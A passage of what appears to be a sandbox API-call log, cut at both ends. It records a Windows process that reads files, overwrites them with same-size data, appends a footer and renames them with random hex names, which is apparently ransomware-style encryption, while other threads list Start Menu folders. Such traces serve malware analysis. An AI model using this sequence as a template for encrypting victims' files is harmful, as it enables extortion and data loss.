CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.ukr"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x86c [0156.547] GetFileSizeEx (in: hFile=0x86c, lpFileSize=0x33f7fbe0 | out: lpFileSize=0x33f7fbe0*=7680) returned 1 [0156.547] SetFilePointerEx (in: hFile=0x86c, liDistanceToMove=0x1dfc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.547] ReadFile (in: hFile=0x86c, lpBuffer=0x33f7fb60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x33f7fba8, lpOverlapped=0x0 | out: lpBuffer=0x33f7fb60*, lpNumberOfBytesRead=0x33f7fba8*=0x4, lpOverlapped=0x0) returned 1 [0159.500] SetFilePointerEx (in: hFile=0x86c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205013a0 [0159.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb4070 [0159.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb4100 [0159.500] NtQuerySystemTime (in: CurrentTime=0x33f7faa0 | out: CurrentTime=0x33f7faa0*=132462177646342000) returned 0x0 [0159.500] RtlRandomEx (in: Seed=0x33f7fa90 | out: Seed=0x33f7fa90) returned 0x5a0051b7 [0159.501] RtlRandomEx (in: Seed=0x33f7fa90 | out: Seed=0x33f7fa90) returned 0x27638e76 [0159.501] RtlRandomEx (in: Seed=0x33f7fa90 | out: Seed=0x33f7fa90) returned 0x356cbf37 [0159.501] RtlRandomEx (in: Seed=0x33f7fa90 | out: Seed=0x33f7fa90) returned 0x57e60973 [0159.501] RtlRandomEx (in: Seed=0x33f7fa90 | out: Seed=0x33f7fa90) returned 0x7bd9fc72 [0159.501] RtlRandomEx (in: Seed=0x33f7fa90 | out: Seed=0x33f7fa90) returned 0x18465c17 [0159.501] RtlRandomEx (in: Seed=0x33f7fa90 | out: Seed=0x33f7fa90) returned 0x69e3094e [0159.501] RtlRandomEx (in: Seed=0x33f7fa90 | out: Seed=0x33f7fa90) returned 0xde37be1 [0159.501] RtlRandomEx (in: Seed=0x33f7fa90 | out: Seed=0x33f7fa90) returned 0x3b803735 [0159.501] RtlRandomEx (in: Seed=0x33f7fa90 | out: Seed=0x33f7fa90) returned 0x60149f0 [0159.501] RtlRandomEx (in: Seed=0x33f7fa90 | out: Seed=0x33f7fa90) returned 0xdac1a26 [0159.501] RtlRandomEx (in: Seed=0x33f7fa90 | out: Seed=0x33f7fa90) returned 0x1286cc8b [0159.501] RtlRandomEx (in: Seed=0x33f7fa90 | out: Seed=0x33f7fa90) returned 0x50211882 [0159.501] RtlRandomEx (in: Seed=0x33f7fa90 | out: Seed=0x33f7fa90) returned 0x2a842b2b [0159.501] RtlRandomEx (in: Seed=0x33f7fa90 | out: Seed=0x33f7fa90) returned 0xd936c85 [0159.501] RtlRandomEx (in: Seed=0x33f7fa90 | out: Seed=0x33f7fa90) returned 0x14358a91 [0159.501] RtlRandomEx (in: Seed=0x33f7fa90 | out: Seed=0x33f7fa90) returned 0x59401234 [0159.501] RtlRandomEx (in: Seed=0x33f7fa90 | out: Seed=0x33f7fa90) returned 0x4f46a6d3 [0159.501] RtlRandomEx (in: Seed=0x33f7fa90 | out: Seed=0x33f7fa90) returned 0x72dc2ba0 [0159.501] RtlRandomEx (in: Seed=0x33f7fa90 | out: Seed=0x33f7fa90) returned 0x1c1d73a1 [0159.501] RtlRandomEx (in: Seed=0x33f7fa90 | out: Seed=0x33f7fa90) returned 0x2d72175 [0159.501] RtlRandomEx (in: Seed=0x33f7fa90 | out: Seed=0x33f7fa90) returned 0x7f2d6e3b [0159.501] RtlRandomEx (in: Seed=0x33f7fa90 | out: Seed=0x33f7fa90) returned 0x42271b6b [0159.501] RtlRandomEx (in: Seed=0x33f7fa90 | out: Seed=0x33f7fa90) returned 0x2e955c72 [0159.501] RtlRandomEx (in: Seed=0x33f7fa90 | out: Seed=0x33f7fa90) returned 0x1f69ff48 [0159.501] RtlRandomEx (in: Seed=0x33f7fa90 | out: Seed=0x33f7fa90) returned 0x59b0d57c [0159.502] RtlRandomEx (in: Seed=0x33f7fa90 | out: Seed=0x33f7fa90) returned 0x6739fbb8 [0159.502] RtlRandomEx (in: Seed=0x33f7fa90 | out: Seed=0x33f7fa90) returned 0x5dac4694 [0159.502] RtlRandomEx (in: Seed=0x33f7fa90 | out: Seed=0x33f7fa90) returned 0xe095839 [0159.502] RtlRandomEx (in: Seed=0x33f7fa90 | out: Seed=0x33f7fa90) returned 0x2df5c60a [0159.502] RtlRandomEx (in: Seed=0x33f7fa90 | out: Seed=0x33f7fa90) returned 0x4f7597f4 [0159.502] RtlRandomEx (in: Seed=0x33f7fa90 | out: Seed=0x33f7fa90) returned 0x732ebdba [0159.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb4130 [0159.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cdb7470 [0159.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb4160 [0159.511] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb7470) returned 1 [0159.512] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb4100) returned 1 [0159.512] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205013a0) returned 1 [0159.512] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c100 [0159.512] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cdb7470 [0159.512] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205013a0 [0159.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205013a0) returned 1 [0159.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f978d0 [0159.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42040d80 [0159.513] ReadFile (in: hFile=0x86c, lpBuffer=0x41f978d0, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x33f7fa90, lpOverlapped=0x0 | out: lpBuffer=0x41f978d0*, lpNumberOfBytesRead=0x33f7fa90*=0x1e00, lpOverlapped=0x0) returned 1 [0160.739] SetFilePointerEx (in: hFile=0x86c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.739] WriteFile (in: hFile=0x86c, lpBuffer=0x42040d80*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x33f7fa94, lpOverlapped=0x0 | out: lpBuffer=0x42040d80*, lpNumberOfBytesWritten=0x33f7fa94*=0x1e00, lpOverlapped=0x0) returned 1 [0165.891] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c199b0 [0165.891] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c199e0 [0165.892] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c199e0) returned 1 [0165.892] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42040d80) returned 1 [0165.892] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f978d0) returned 1 [0165.892] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb7470) returned 1 [0165.893] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c100) returned 1 [0165.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42c199e0 [0165.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c100 [0165.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cdb7470 [0165.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19a40 [0165.894] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19a40) returned 1 [0165.894] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42c19a40 [0165.894] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19a10 [0165.894] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19a70 [0165.895] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19a70) returned 1 [0165.895] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb7470) returned 1 [0165.895] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c100) returned 1 [0165.895] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x1694d0 [0165.895] SetFilePointerEx (in: hFile=0x86c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0165.895] WriteFile (in: hFile=0x86c, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x33f7fbb0, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x33f7fbb0*=0x108, lpOverlapped=0x0) returned 1 [0200.450] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c60 [0200.451] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8676c0 [0200.451] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1730 [0200.452] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1730) returned 1 [0200.452] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x42c0f0e0 [0200.452] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1730 [0200.452] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1700 [0200.453] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1700) returned 1 [0200.453] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8676c0) returned 1 [0200.454] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0200.454] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1b7d8400 [0200.454] sprintf (in: _Dest=0x1b7d8400, _Format="%c%c" | out: _Dest="5d") returned 2 [0200.454] sprintf (in: _Dest=0x1b7d8402, _Format="%c%c" | out: _Dest="76") returned 2 [0200.454] sprintf (in: _Dest=0x1b7d8404, _Format="%c%c" | out: _Dest="4a") returned 2 [0200.454] sprintf (in: _Dest=0x1b7d8406, _Format="%c%c" | out: _Dest="7c") returned 2 [0200.454] sprintf (in: _Dest=0x1b7d8408, _Format="%c%c" | out: _Dest="50") returned 2 [0200.454] sprintf (in: _Dest=0x1b7d840a, _Format="%c%c" | out: _Dest="43") returned 2 [0200.454] sprintf (in: _Dest=0x1b7d840c, _Format="%c%c" | out: _Dest="bc") returned 2 [0200.454] sprintf (in: _Dest=0x1b7d840e, _Format="%c%c" | out: _Dest="cb") returned 2 [0200.454] sprintf (in: _Dest=0x1b7d8410, _Format="%c%c" | out: _Dest="51") returned 2 [0200.454] sprintf (in: _Dest=0x1b7d8412, _Format="%c%c" | out: _Dest="fe") returned 2 [0200.454] sprintf (in: _Dest=0x1b7d8414, _Format="%c%c" | out: _Dest="5a") returned 2 [0200.454] sprintf (in: _Dest=0x1b7d8416, _Format="%c%c" | out: _Dest="2e") returned 2 [0200.454] sprintf (in: _Dest=0x1b7d8418, _Format="%c%c" | out: _Dest="3e") returned 2 [0200.454] sprintf (in: _Dest=0x1b7d841a, _Format="%c%c" | out: _Dest="4d") returned 2 [0200.454] sprintf (in: _Dest=0x1b7d841c, _Format="%c%c" | out: _Dest="8d") returned 2 [0200.455] sprintf (in: _Dest=0x1b7d841e, _Format="%c%c" | out: _Dest="51") returned 2 [0200.455] sprintf (in: _Dest=0x1b7d8420, _Format="%c%c" | out: _Dest="f9") returned 2 [0200.455] sprintf (in: _Dest=0x1b7d8422, _Format="%c%c" | out: _Dest="41") returned 2 [0200.455] sprintf (in: _Dest=0x1b7d8424, _Format="%c%c" | out: _Dest="91") returned 2 [0200.455] sprintf (in: _Dest=0x1b7d8426, _Format="%c%c" | out: _Dest="dc") returned 2 [0200.455] sprintf (in: _Dest=0x1b7d8428, _Format="%c%c" | out: _Dest="5f") returned 2 [0200.455] sprintf (in: _Dest=0x1b7d842a, _Format="%c%c" | out: _Dest="9f") returned 2 [0200.455] RtlInitAnsiString (in: DestinationString=0x33f7fc28, SourceString="5d764a7c5043bccb51fe5a2e3e4d8d51f94191dc5f9f" | out: DestinationString="5d764a7c5043bccb51fe5a2e3e4d8d51f94191dc5f9f") [0200.455] RtlAnsiStringToUnicodeString (in: DestinationString=0x33f7fbf8, SourceString="5d764a7c5043bccb51fe5a2e3e4d8d51f94191dc5f9f", AllocateDestinationString=1 | out: DestinationString="5d764a7c5043bccb51fe5a2e3e4d8d51f94191dc5f9f") returned 0x0 [0200.455] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x430a09f0 [0200.456] wcscat (in: _Dest=0x20506810, _Source="5d764a7c504" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\5d764a7c504") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\5d764a7c504" [0200.456] wcscat (in: _Dest=0x20506810, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\5d764a7c504.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\5d764a7c504.2f9b60" [0200.456] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\5d764a7c504.2f9b60", NtPathName=0x33f7fbd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\5d764a7c504.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x431edf20 [0240.093] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431edf20) returned 1 [0240.093] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431fc160) returned 1 [0240.093] NtQueryInformationFile (in: FileHandle=0x86c, IoStatusBlock=0x33f7fc38, FileInformation=0x33f7fc48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x33f7fc38, FileInformation=0x33f7fc48) returned 0x0 [0240.093] NtSetInformationFile (FileHandle=0x86c, IoStatusBlock=0x33f7fc38, FileInformation=0x33f7fc48, Length=0x28, FileInformationClass=0x4) Thread: id = 2612 os_tid = 0x2160 [0156.628] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1ced2fe0 [0156.628] wcscpy (in: _Dest=0x1ced2fe0, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance" [0156.628] wcscat (in: _Dest=0x1ced2fe0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\" [0156.628] wcscat (in: _Dest=0x1ced2fe0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\*" [0156.628] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd98d00 [0156.629] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\*", lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8ab46fc5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ab6d126, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced58c0 [0156.629] wcscmp (_String1=".", _String2=".") returned 0 [0156.629] FindNextFileW (in: hFindFile=0x1ced58c0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8ab46fc5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ab6d126, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.629] wcscmp (_String1="..", _String2=".") returned 1 [0156.629] wcscmp (_String1="..", _String2="..") returned 0 [0156.629] FindNextFileW (in: hFindFile=0x1ced58c0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a1030d3, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8a1030d3, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8a1030d3, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x518, dwReserved0=0x0, dwReserved1=0x0, cFileName="Backup and Restore Center.lnk", cAlternateFileName="BACKUP~1.LNK")) returned 1 [0156.629] wcscmp (_String1="Backup and Restore Center.lnk", _String2=".") returned 1 [0156.629] wcscmp (_String1="Backup and Restore Center.lnk", _String2="..") returned 1 [0156.629] FindNextFileW (in: hFindFile=0x1ced58c0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89a77447, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x89a77447, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x89a77447, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Create Recovery Disc.lnk", cAlternateFileName="CREATE~1.LNK")) returned 1 [0156.629] wcscmp (_String1="Create Recovery Disc.lnk", _String2=".") returned 1 [0156.629] wcscmp (_String1="Create Recovery Disc.lnk", _String2="..") returned 1 [0156.629] FindNextFileW (in: hFindFile=0x1ced58c0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xec13fc0c, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xec13fc0c, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x8ab6d126, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x25e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0156.629] wcscmp (_String1="Desktop.ini", _String2=".") returned 1 [0156.630] wcscmp (_String1="Desktop.ini", _String2="..") returned 1 [0156.630] FindNextFileW (in: hFindFile=0x1ced58c0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ab46fc5, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8ab46fc5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ab46fc5, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Remote Assistance.lnk", cAlternateFileName="REMOTE~1.LNK")) returned 1 [0156.630] wcscmp (_String1="Remote Assistance.lnk", _String2=".") returned 1 [0156.630] wcscmp (_String1="Remote Assistance.lnk", _String2="..") returned 1 [0156.630] FindNextFileW (in: hFindFile=0x1ced58c0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ab46fc5, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8ab46fc5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ab46fc5, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Remote Assistance.lnk", cAlternateFileName="REMOTE~1.LNK")) returned 0 [0156.630] FindClose (in: hFindFile=0x1ced58c0 | out: hFindFile=0x1ced58c0) returned 1 [0156.631] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98d00) returned 1 [0156.631] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced2fe0) returned 1 [0156.631] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a740) returned 1 Thread: id = 2613 os_tid = 0x215c [0156.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1cec5ea0 [0156.633] wcscpy (in: _Dest=0x1cec5ea0, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java" [0156.633] wcscat (in: _Dest=0x1cec5ea0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\" [0156.633] wcscat (in: _Dest=0x1cec5ea0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\*" [0156.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd98d00 [0156.633] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\*", lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7577bc60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced58c0 [0156.634] wcscmp (_String1=".", _String2=".") returned 0 [0156.635] FindNextFileW (in: hFindFile=0x1ced58c0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7577bc60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.635] wcscmp (_String1="..", _String2=".") returned 1 [0156.635] wcscmp (_String1="..", _String2="..") returned 0 [0156.635] FindNextFileW (in: hFindFile=0x1ced58c0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x762ca4e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="About Java.lnk", cAlternateFileName="ABOUTJ~1.LNK")) returned 1 [0156.635] wcscmp (_String1="About Java.lnk", _String2=".") returned 1 [0156.635] wcscmp (_String1="About Java.lnk", _String2="..") returned 1 [0156.635] FindNextFileW (in: hFindFile=0x1ced58c0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x762ca4e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Check For Updates.lnk", cAlternateFileName="CHECKF~1.LNK")) returned 1 [0156.635] wcscmp (_String1="Check For Updates.lnk", _String2=".") returned 1 [0156.635] wcscmp (_String1="Check For Updates.lnk", _String2="..") returned 1 [0156.635] FindNextFileW (in: hFindFile=0x1ced58c0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x762a4380, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762a4380, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Configure Java.lnk", cAlternateFileName="CONFIG~1.LNK")) returned 1 [0156.635] wcscmp (_String1="Configure Java.lnk", _String2=".") returned 1 [0156.635] wcscmp (_String1="Configure Java.lnk", _String2="..") returned 1 [0156.635] FindNextFileW (in: hFindFile=0x1ced58c0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7591eb80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7591eb80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7591eb80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Get Help.lnk", cAlternateFileName="GETHEL~1.LNK")) returned 1 [0156.635] wcscmp (_String1="Get Help.lnk", _String2=".") returned 1 [0156.635] wcscmp (_String1="Get Help.lnk", _String2="..") returned 1 [0156.635] FindNextFileW (in: hFindFile=0x1ced58c0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x758f8a20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x758f8a20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7591eb80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x45a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visit Java.com.lnk", cAlternateFileName="VISITJ~1.LNK")) returned 1 [0156.635] wcscmp (_String1="Visit Java.com.lnk", _String2=".") returned 1 [0156.635] wcscmp (_String1="Visit Java.com.lnk", _String2="..") returned 1 [0156.635] FindNextFileW (in: hFindFile=0x1ced58c0, lpFindFileData=0x1cd98d00 | out: 